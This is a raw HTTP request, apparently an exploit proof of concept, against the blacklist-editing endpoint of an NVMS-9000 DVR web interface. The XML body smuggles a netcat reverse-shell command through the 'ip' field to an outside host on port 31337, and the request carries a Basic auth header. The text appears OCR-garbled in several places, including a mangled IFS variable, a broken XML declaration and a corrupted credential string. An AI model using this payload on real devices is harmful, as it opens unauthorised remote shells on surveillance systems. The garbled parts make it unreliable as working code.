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POST /editBlackAndWhiteList HTTP/1.1
Accept-Encoding: identity
Content-Length: 586

Accept-Language: en-us

Host: XXX.XX.XX.XXX

Accept: */*

User-Agent: ApiTool

Connection: close

Cache-Control: max-age=0
Content-Type: text/xml
Authorization: Basic YWRtaW46ezEyMjEzQkQxLTY5QzctNDg2Mi@4NDNELTI2MDUWMEQXREEOMHO=

<?xml version="1.0" encoding="utf-8"7>
<request version="1.0" systemType="NVMS-9000" clientType="WEB">
<types>
<filterTypeMode>
<enum>refuse</enum>
<enum>allow</enum>
</filterTypeMode>
<addressType>
<enum>ip</enum><enum>iprange</enum><enum>mac</enum>
</addressType>
</types>
<content>
<switch>true</switch>
<filterType type="filterTypeMode">refuse</filterType>
<filterList type="list">
<itemType><addressType type="addressType"/></itemType>
<item>
<switch>true</switch>
<addressType>ip</addressType>
<ip>$(Nc${IFSIXX. xxX. XX. XXX${ IFS}31337${IFS}-e${ IFS}$SHELL&)</ip>
</item>
</filterList>
</content>
</request>
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